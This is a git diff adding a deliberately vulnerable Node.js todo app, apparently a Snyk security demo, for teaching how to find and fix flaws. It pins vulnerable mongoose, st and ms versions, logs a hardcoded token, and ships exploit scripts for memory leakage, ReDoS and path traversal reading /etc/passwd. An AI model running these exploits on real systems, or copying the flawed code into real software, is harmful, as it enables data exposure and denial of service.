diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000000..140d96049c
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,8 @@
+.DS_Store
+node_modules
+*.sock
+
+.sass-cache
+sass
+config.rb
+npm-debug.log
diff --git a/README.md b/README.md
new file mode 100644
index 0000000000..0c85ad96e7
--- /dev/null
+++ b/README.md
@@ -0,0 +1,39 @@
+## Snyk's vulnerable todo list app
+[![Known Vulnerabilities](https://snyk.io/test/github/snyk/snyk-demo-todo/badge.svg?style=flat-square)](https://snyk.io/test/github/snyk/snyk-demo-todo)
+
+A vulnerable Node.js demo application, based on the [Dreamers Lab tutorial](http://dreamerslab.com/blog/en/write-a-todo-list-with-express-and-mongodb/).
+
+### Running
+```bash
+mongod &
+
+git clone https://github.com/Snyk/snyk-demo-todo
+npm install
+npm start
+```
+### Cleanup
+To bulk delete the current list of TODO items from the DB run:
+```bash
+npm run cleanup
+```
+
+### Exploiting the vulnerabilities
+
+This app uses npm dependencies holding known vulnerabilities.
+
+Here are the exploitable vulnerable packages:
+- [Mongoose - Buffer Memory Exposure](https://snyk.io/vuln/npm:mongoose:20160116)
+- [st - Directory Traversal](https://snyk.io/vuln/npm:st:20140206)
+- [ms - ReDoS](https://app.snyk.io/vuln/npm:ms:20151024)
+
+The `exploits` directory includes a series of steps to demonstrate each one.
+
+### Fixing the issues
+To find these flaws in this application (and in your own apps), run:
+```
+npm install -g snyk
+snyk wizard
+```
+
+In this application, the default `snyk wizard` answers will fix all the issues.
+When the wizard is done, restart the application and run the exploits again to confirm they are fixed.
diff --git a/app.js b/app.js
new file mode 100644
index 0000000000..ef34add231
--- /dev/null
+++ b/app.js
@@ -0,0 +1,56 @@
+/**
+ * Module dependencies.
+ */
+
+// mongoose setup
+require('./db');
+
+var st = require('st');
+var crypto = require('crypto');
+var express = require('express');
+var http = require('http');
+var path = require('path');
+var engine = require('ejs-locals');
+var cookieParser = require('cookie-parser');
+var bodyParser = require('body-parser');
+var methodOverride = require('method-override');
+var logger = require('morgan');
+var errorHandler = require('errorhandler');
+var optional = require('optional');
+
+var app = express();
+var routes = require('./routes');
+
+// all environments
+app.set('port', process.env.PORT || 3001);
+app.engine('ejs', engine);
+app.set('views', path.join(__dirname, 'views'));
+app.set('view engine', 'ejs');
+app.use(logger('dev'));
+app.use(methodOverride());
+app.use(cookieParser());
+app.use(bodyParser.json());
+app.use(bodyParser.urlencoded({ extended: false }));
+
+// Routes
+app.use(routes.current_user);
+app.get('/', routes.index);
+app.post('/create', routes.create);
+app.get('/destroy/:id', routes.destroy);
+app.get('/edit/:id', routes.edit);
+app.post('/update/:id', routes.update);
+
+// Static
+app.use(st({path: './public', url: '/public'}));
+
+// development only
+if (app.get('env') == 'development') {
+ app.use(errorHandler());
+}
+
+var token = 'SECRET_TOKEN_f8ed84e8f41e4146403dd4a6bbcea5e418d23a9';
+console.log('token: ' + token);
+
+http.createServer(app).listen(app.get('port'), function() {
+ console.log('Express server listening on port ' + app.get('port'));
+});
diff --git a/db.js b/db.js
new file mode 100644
index 0000000000..211d352aca
--- /dev/null
+++ b/db.js
@@ -0,0 +1,10 @@
+var mongoose = require('mongoose');
+var Schema = mongoose.Schema;
+
+var Todo = new Schema({
+ content : Buffer,
+ updated_at : Date
+});
+
+mongoose.model('Todo', Todo);
+mongoose.connect('mongodb://localhost/express-todo');
diff --git a/exploits/mongoose-exploits.sh b/exploits/mongoose-exploits.sh
new file mode 100644
index 0000000000..e439fa2bd4
--- /dev/null
+++ b/exploits/mongoose-exploits.sh
@@ -0,0 +1,30 @@
+### Note: these exploits use the httpie command line utility
+
+# start
+http http://target:3001/ --headers
+
+# Works as advertised
+echo 'content=Buy Beer' | http --form http://target:3001/create -v
+
+# Works with json
+echo '{"content":"Fix the bike"}' | http --json http://target:3001/create -v
+
+# Works with number string
+echo '{"content":"800"}' | http --json http://target:3001/create -v
+
+# Exploit start - integer
+echo '{"content":800}' | http --json http://target:3001/create -v
+
+# Switch to only showing the response body
+echo '{"content":800}' | http --json http://target:3001/create -b
+echo '{"content":800}' | http --json http://target:3001/create -b | base64 -D
+
+# Repeatedly extract memory
+# window 1
+repeat 1000 echo '{"content":800}' | http --json http://target:3001/create -b | base64 -D >> leakedmem.bin
+
+# window 2 - see strings in the response
+tail -f leakedmem.bin | strings
+
+# window 3 - see a memory dum in the response
+tail -f leakedmem.bin | xxd -c 32 -g 32
diff --git a/exploits/ms-exploits.sh b/exploits/ms-exploits.sh
new file mode 100644
index 0000000000..0a964da29c
--- /dev/null
+++ b/exploits/ms-exploits.sh
@@ -0,0 +1,8 @@
+# Working via curl
+echo 'content=Call mom in 20 minutes' | http --form http://target:3001/create -v
+
+# Works with long string that matches
+echo 'content=Buy milk in '`printf "%.0s5" {1..60000}`' minutes' | http --form http://target:3001/create -v
+
+# Hangs with long string that doesn't match
+echo 'content=Buy milk in '`printf "%.0s5" {1..60000}`' minutea' | http --form http://target:3001/create -v
diff --git a/exploits/st-exploit.sh b/exploits/st-exploit.sh
new file mode 100644
index 0000000000..db379e1548
--- /dev/null
+++ b/exploits/st-exploit.sh
@@ -0,0 +1,14 @@
+# Works as advertised
+curl http://localhost:3001/public/about.html
+
+# Directory listing (not necessary)
+curl http://localhost:3001/public/
+
+# Failed ../
+curl http://localhost:3001/public/../../../
+
+# Exploit start
+curl http://localhost:3001/public/%2e%2e/%2e%2e/%2e%2e/
+
+# Exploit full
+curl "http://localhost:3001/public/%2e%2e/%2e%2e/%2E%2E/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
diff --git a/package.json b/package.json
new file mode 100644
index 0000000000..19cfea2c18
--- /dev/null
+++ b/package.json
@@ -0,0 +1,31 @@
+{
+ "name": "snyk-todo-list-demo-app",
+ "version": "0.0.2",
+ "description": "A vulnerable todo demo application",
+ "homepage": "https://snyk.io/",
+ "repository": {
+ "type": "git",
+ "url": "https://github.com/Snyk/snyk-todo-list-demo-app/"
+ },
+ "scripts": {
+ "start": "node app.js",
+ "cleanup": "mongo express-todo --eval 'db.todos.remove({});'"
+ },
+ "dependencies": {
+ "body-parser": "1.9.0",
+ "cookie-parser": "1.3.3",
+ "ejs": "1.0.0",
+ "ejs-locals": "1.0.2",
+ "errorhandler": "1.2.0",
+ "express": "4.12.4",
+ "humanize-ms": "latest",
+ "method-override": "latest",
+ "mongoose": "4.2.4",
+ "morgan": "latest",
+ "ms": "^0.7.1",
+ "npmconf": "0.0.24",
+ "optional": "^0.1.3",
+ "st": "0.2.4",
+ "tap": "^5.7.0"
+ }
+}
diff --git a/public/about.html b/public/about.html
new file mode 100644
index 0000000000..aeb1f003c8
--- /dev/null
+++ b/public/about.html
@@ -0,0 +1,4 @@
+
+
+
The BESTest todo app evar
+
diff --git a/public/css/screen.css b/public/css/screen.css
new file mode 100644
index 0000000000..a1136fb1fb
--- /dev/null
+++ b/public/css/screen.css
@@ -0,0 +1,253 @@
+/* line 17, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, img, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+b, u, i, center,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td,
+article, aside, canvas, details, embed,
+figure, figcaption, footer, header, hgroup,
+menu, nav, output, ruby, section, summary,
+time, mark, audio, video {
+ margin: 0;
+ padding: 0;
+ border: 0;
+ font-size: 100%;
+ font: inherit;
+ vertical-align: baseline;
+}
+
+/* line 20, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */
+body {
+ line-height: 1;
+}
+
+/* line 22, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */
+ol, ul {
+ list-style: none;
+}
+
+/* line 24, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */
+table {
+ border-collapse: collapse;
+ border-spacing: 0;
+}
+
+/* line 26, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */
+caption, th, td {
+ text-align: left;
+ font-weight: normal;
+ vertical-align: middle;
+}
+
+/* line 28, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */
+q, blockquote {
+ quotes: none;
+}
+/* line 101, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */
+q:before, q:after, blockquote:before, blockquote:after {
+ content: "";
+ content: none;
+}
+
+/* line 30, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */
+a img {
+ border: none;
+}
+
+/* line 114, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */
+article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section, summary {
+ display: block;
+}
+
+/* line 7, ../sass/screen.sass */
+body {
+ font: 14px "Lucida Grande", "Lucida Sans Unicode", sans-serif;
+}
+
+/* line 10, ../sass/screen.sass */
+#page-title {
+ color: #666666;
+ background-color: #f8f8f8;
+ font-size: 32px;
+ line-height: 1.35;
+ padding: 20px 0;
+ text-align: center;
+ text-shadow: 0 1px 1px white;
+}
+
+/* line 19, ../sass/screen.sass */
+.del-btn, .del-btn-edit {
+ display: inline;
+ float: right;
+ background: url("/public/images/delete.png") no-repeat bottom left;
+ font: 0/0 serif;
+ text-shadow: none;
+ color: transparent;
+ width: 16px;
+ height: 18px;
+}
+
+/* line 28, ../sass/screen.sass */
+.del-btn-edit {
+ width: 20px;
+ height: 21px;
+}
+
+/* line 32, ../sass/screen.sass */
+#list {
+ width: 283px;
+ margin: 0 auto;
+ padding: 20px 0 15px;
+ position: relative;
+}
+
+/* line 38, ../sass/screen.sass */
+.item, .item-new {
+ overflow: hidden;
+ *zoom: 1;
+ background-color: #f9f9f9;
+ border: 1px solid #eeeeee;
+ border-radius: 6px 6px 6px 6px;
+ list-style: none outside none;
+ margin: 6px 0 0;
+ padding: 8px 9px 9px;
+ position: relative;
+ text-shadow: 1px 1px 0 white;
+ width: 250px;
+}
+/* line 49, ../sass/screen.sass */
+.item:hover, .item-new:hover {
+ border-color: #9be0f9;
+ box-shadow: 0 0 5px #a6d5fd;
+}
+
+/* line 53, ../sass/screen.sass */
+.item-new {
+ padding: 4px 5px;
+ width: 258px;
+}
+
+/* line 57, ../sass/screen.sass */
+.input, .update-input {
+ border: 1px solid #cccccc;
+ color: #666666;
+ font-family: "Lucida Grande", "Lucida Sans Unicode", sans-serif;
+ font-size: 15px;
+ padding: 3px 4px;
+ width: 248px;
+ height: 19px;
+}
+
+/* line 66, ../sass/screen.sass */
+.update-input {
+ width: 220px;
+}
+
+/* line 69, ../sass/screen.sass */
+.content {
+ color: #777777;
+ font-size: 1.2em;
+ text-shadow: 1px 1px 0 white;
+}
+
+/* line 74, ../sass/screen.sass */
+.update-link {
+ display: inline;
+ float: left;
+ font-family: "Lucida Grande", "Lucida Sans Unicode", sans-serif;
+ color: #666666;
+ text-decoration: none;
+ overflow: hidden;
+ white-space: nowrap;
+ max-width: 15em;
+ text-overflow: ellipsis;
+}
+/* line 83, ../sass/screen.sass */
+.update-link:hover {
+ color: #333333;
+}
+
+/* line 86, ../sass/screen.sass */
+.update-form {
+ display: inline;
+ float: left;
+}
+
+/* line 89, ../sass/screen.sass */
+#footer-wrap {
+ background-color: #f8f8f8;
+}
+
+/* line 92, ../sass/screen.sass */
+#footer {
+ overflow: hidden;
+ *zoom: 1;
+ width: 210px;
+ margin: 0 auto;
+ position: relative;
+ top: 17px;
+}
+
+/* line 99, ../sass/screen.sass */
+#dreamerslab {
+ display: inline;
+ float: left;
+ font-family: Georgia;
+ background: url("/public/images/dreamerslab.png") no-repeat top left;
+ padding: 0 0 3px 16px;
+ color: #333333;
+ text-decoration: none;
+ font-weight: bold;
+}
+/* line 107, ../sass/screen.sass */
+#dreamerslab:hover {
+ text-decoration: underline;
+}
+
+/* line 110, ../sass/screen.sass */
+.footer-content {
+ display: inline;
+ float: left;
+ color: #333333;
+ font-family: Georgia;
+ padding: 0 4px;
+}
+
+/* line 116, ../sass/screen.sass */
+#github-link {
+ color: #666666;
+ text-decoration: none;
+}
+/* line 119, ../sass/screen.sass */
+#github-link:hover {
+ text-decoration: underline;
+}
+
+/* line 10, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/layout/_sticky-footer.scss */
+html, body {
+ height: 100%;
+}
+
+/* line 12, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/layout/_sticky-footer.scss */
+#layout {
+ clear: both;
+ min-height: 100%;
+ height: auto !important;
+ height: 100%;
+ margin-bottom: -48px;
+}
+/* line 18, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/layout/_sticky-footer.scss */
+#layout #layout-footer {
+ height: 48px;
+}
+
+/* line 20, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/layout/_sticky-footer.scss */
+#footer-wrap {
+ clear: both;
+ position: relative;
+ height: 48px;
+}
diff --git a/public/favicon.ico b/public/favicon.ico
new file mode 100644
index 0000000000..57cb20de4d
Binary files /dev/null and b/public/favicon.ico differ
diff --git a/public/images/delete.png b/public/images/delete.png
new file mode 100644
index 0000000000..08f249365a
Binary files /dev/null and b/public/images/delete.png differ
diff --git a/public/images/dreamerslab.png b/public/images/dreamerslab.png
new file mode 100644
index 0000000000..550a73e661
Binary files /dev/null and b/public/images/dreamerslab.png differ
diff --git a/public/js/ga.js b/public/js/ga.js
new file mode 100644
index 0000000000..7ead4653d3
--- /dev/null
+++ b/public/js/ga.js
@@ -0,0 +1,5 @@
+// Change UA-XXXXX-X to be your site's ID
+var _gaq=[['_setAccount','UA-XXXXX-X'],['_trackPageview']];
+(function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];g.async=1;
+g.src=('https:'==location.protocol?'//ssl':'//www')+'.google-analytics.com/ga.js';
+s.parentNode.insertBefore(g,s);}(document,'script'));
\ No newline at end of file
diff --git a/public/robots.txt b/public/robots.txt
new file mode 100644
index 0000000000..7d329b1db3
--- /dev/null
+++ b/public/robots.txt
@@ -0,0 +1 @@
+User-agent: *
diff --git a/routes/index.js b/routes/index.js
new file mode 100644
index 0000000000..bb146a9ffa
--- /dev/null
+++ b/routes/index.js
@@ -0,0 +1,105 @@
+var utils = require('../utils');
+var mongoose = require('mongoose');
+var Todo = mongoose.model('Todo');
+// TODO:
+var hms = require('humanize-ms');
+var ms = require('ms');
+
+exports.index = function (req, res, next) {
+ Todo.
+ find({}).
+ sort('-updated_at').
+ exec(function (err, todos) {
+ if (err) return next(err);
+
+ res.render('index', {
+ title : 'TODO',
+ todos : todos
+ });
+ });
+};
+
+exports.create = function (req, res, next) {
+ // console.log('req.body: ' + JSON.stringify(req.body));
+
+ var remindToken = ' in ';
+ var reminder = req.body.content.toString().indexOf(remindToken);
+ if (reminder > 0) {
+ var time = req.body.content.slice(reminder + remindToken.length);
+ time = time.replace(/\n$/, '');
+
+ var period = hms(time);
+
+ console.log('period: ' + period);
+
+ // remove it
+ req.body.content = req.body.content.slice(0, reminder);
+ if (typeof period != 'undefined') {
+ req.body.content += ' [' + ms(period) + ']';
+ }
+ }
+
+ new Todo({
+ content : req.body.content,
+ updated_at : Date.now()
+ }).save(function (err, todo, count) {
+ if (err) return next(err);
+
+ /*
+ res.setHeader('Data', todo.content.toString('base64'));
+ res.redirect('/');
+ */
+
+ res.setHeader('Location', '/');
+ res.status(302).send(todo.content.toString('base64'));
+
+ // res.redirect('/#' + todo.content.toString('base64'));
+ });
+};
+
+exports.destroy = function (req, res, next) {
+ Todo.findById(req.params.id, function (err, todo) {
+
+ try {
+ todo.remove(function(err, todo) {
+ if (err) return next(err);
+ res.redirect('/');
+ });
+ } catch(e) {
+ }
+ });
+};
+
+exports.edit = function(req, res, next) {
+ Todo.
+ find({}).
+ sort('-updated_at').
+ exec(function (err, todos) {
+ if (err) return next(err);
+
+ res.render('edit', {
+ title : 'TODO',
+ todos : todos,
+ current : req.params.id
+ });
+ });
+};
+
+exports.update = function(req, res, next) {
+ Todo.findById(req.params.id, function (err, todo) {
+
+ todo.content = req.body.content;
+ todo.updated_at = Date.now();
+ todo.save(function (err, todo, count) {
+ if(err) return next(err);
+
+ res.redirect('/');
+ });
+ });
+};
+
+// ** express turns the cookie key to lowercase **
+exports.current_user = function (req, res, next) {
+
+ next();
+};
diff --git a/utils.js b/utils.js
new file mode 100644
index 0000000000..4ecf7d9aef
--- /dev/null
+++ b/utils.js
@@ -0,0 +1,28 @@
+module.exports = {
+
+ ran_no : function ( min, max ){
+ return Math.floor( Math.random() * ( max - min + 1 )) + min;
+ },
+
+ uid : function ( len ){
+ var str = '';
+ var src = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
+ var src_len = src.length;
+ var i = len;
+
+ for( ; i-- ; ){
+ str += src.charAt( this.ran_no( 0, src_len - 1 ));
+ }
+
+ return str;
+ },
+
+ forbidden : function ( res ){
+ var body = 'Forbidden';
+ res.statusCode = 403;
+
+ res.setHeader( 'Content-Type', 'text/plain' );
+ res.setHeader( 'Content-Length', body.length );
+ res.end( body );
+ }
+};
diff --git a/views/edit.ejs b/views/edit.ejs
new file mode 100644
index 0000000000..22b15a8bdb
--- /dev/null
+++ b/views/edit.ejs
@@ -0,0 +1,33 @@
+<% layout( 'layout' ) -%>
+
+<%= title %>
+
+
+
+<% todos.forEach( function ( todo ){ %>
+ <% if( todo._id == current ){ %>
+
+ <% }else{ %>
+
+ <% } %>
+
+ <% if( todo._id == current ){ %>
+
+ <% }else{ %>
+
<%= todo.content %>
+ <% } %>
+
+ <% if( todo._id == current ){ %>
+
Delete
+ <% }else{ %>
+
Delete
+ <% } %>
+
+<% }); %>
+
diff --git a/views/index.ejs b/views/index.ejs
new file mode 100644
index 0000000000..6070ac9286
--- /dev/null
+++ b/views/index.ejs
@@ -0,0 +1,18 @@
+<% layout( 'layout' ) -%>
+
+
<%= title %>
+
+
+
+
+<% todos.forEach( function ( todo ){ %>
+
+<% }); %>
+
diff --git a/views/layout.ejs b/views/layout.ejs
new file mode 100644
index 0000000000..122c77be85
--- /dev/null
+++ b/views/layout.ejs
@@ -0,0 +1,23 @@
+
+
+
+
<%= title %>
+
+
+
+
+
+ <%- body %>
+
+
+
+
+